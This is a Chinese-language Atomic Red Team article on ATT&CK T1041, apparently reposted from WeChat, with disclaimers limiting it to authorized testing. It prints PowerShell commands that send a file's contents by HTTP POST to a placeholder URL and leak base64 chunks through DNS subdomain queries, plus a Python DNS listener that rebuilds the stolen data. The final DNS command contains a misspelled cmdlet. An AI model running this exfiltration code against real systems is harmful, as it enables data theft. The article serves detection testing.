本文章为Atomic Red Team系列文章,本篇文章内容为T1041-通过C2通道渗出数据。本文的目的旨在帮助安全团队开展安全测试,发现安全问题,切勿将本文中提到的技术用作攻击行为,请切实遵守国家法律法规。
重要声明: 本文档中的信息和工具仅用于授权的安全测试和研究目的。未经授权使用这些工具进行攻击或数据提取是非法的,并可能导致严重的法律后果。使用本文档中的任何内容时,请确保您遵守所有适用的法律法规,并获得适当的授权。
T1041 - 通过C2通道渗出数据
本文重点介绍通过DNS请求实现数据渗出,攻击者通过将数据作为子域名向服务端请求实现数据渗出,服务端对子域名做解析还原。企业可根据本文提供的样例做参考,检测自身对DNS数据渗出的防护能力。
来自ATT&CK的描述
攻击者可能会通过现有的命令与控制(C2)通道渗出数据,以此窃取信息。被盗取的数据会使用与C2通信相同的协议,编码后通过正常通信通道传输。
原子测试
-
原子测试#1 - C2数据渗出 -
原子测试#2 - 使用DNS子域名进行基于文本的数据渗出
01
—
C2数据渗出
将受害者机器上的文件渗出到C2服务器。
- 支持的平台
Windows - 自动生成的GUID
d1253f6e - c29b - 49dc - b466 - 2147a6191932 - 输入参数
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
- 攻击命令
使用 powershell
运行!
if(-not (Test-Path #{filepath})){
1..100 | ForEach-Object { Add-Content -Path #{filepath} -Value "This is line $_." }
}
[System.Net.ServicePointManager]::Expect100Continue = $false
$filecontent = Get-Content -Path #{filepath}
Invoke-WebRequest -Uri #{destination_url} -Method POST -Body $filecontent -DisableKeepAlive
02
—
使用DNS子域名进行基于文本的数据渗出
模拟攻击者利用DNS隧道技术,通过命令与控制(C2)通道渗出数据。
- 支持的平台
Windows - 自动生成的GUID
c9207f3e - 213d - 4cc7 - ad2a - 7697a7237df9 - 输入参数
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
- 攻击命令
使用 powershell
运行!
$dnsServer = "#{dns_server}"
$exfiltratedData = "#{exfiltrated_data}"
$chunkSize = #{chunk_size}
$encodedData = [System.Text.Encoding]::UTF8.GetBytes($exfiltratedData)
$encodedData = [Convert]::ToBase64String($encodedData)
$chunks = $encodedData -split "(.{$chunkSize})"
foreach ($chunk in $chunks) {
$dnsQuery = $chunk + "." + $dnsServer
Resolve-DnsName -Name $dnsQuery
Start-Sleep -Seconds 5
}
$end = "0x00" + "." + $dnsServer
Reslove-DnsName -Name $end
使用python在服务端解析DNS查询,并提取其中的数据
from dnslib import DNSRecord, DNSHeader, RR, A
import socket
# 监听的 DNS 服务器地址和端口
server_address = ('0.0.0.0', 53)
# 创建 UDP 套接字
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(server_address)
received_chunks = []
while True:
data, addr = sock.recvfrom(1024)
d = DNSRecord.parse(data)
qname = str(d.get_q().qname)
# 假设 dns_server 为 "example.com",根据实际情况修改
dns_server = "example.com"
if qname.endswith(dns_server):
chunk = qname[:-(len(dns_server) + 1)]
received_chunks.append(chunk)
# 可以根据实际情况添加停止条件,例如接收到特定标志
# 这里简单假设当接收到"0x00"块时停止
if chunk == "0x00":
break
# 拼接数据块
encoded_data = ''.join(received_chunks)
# 进行 Base64 解码
import base64
decoded_data = base64.b64decode(encoded_data)
# 将解码后的数据保存为文件
with open('extracted_data.txt', 'wb') as f:
f.write(decoded_data)
print("数据已成功转储到 extracted_data.txt 文件中。")
原文始发于微信公众号(网空安全手札):T1041 - 通过C2通道渗出数据
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论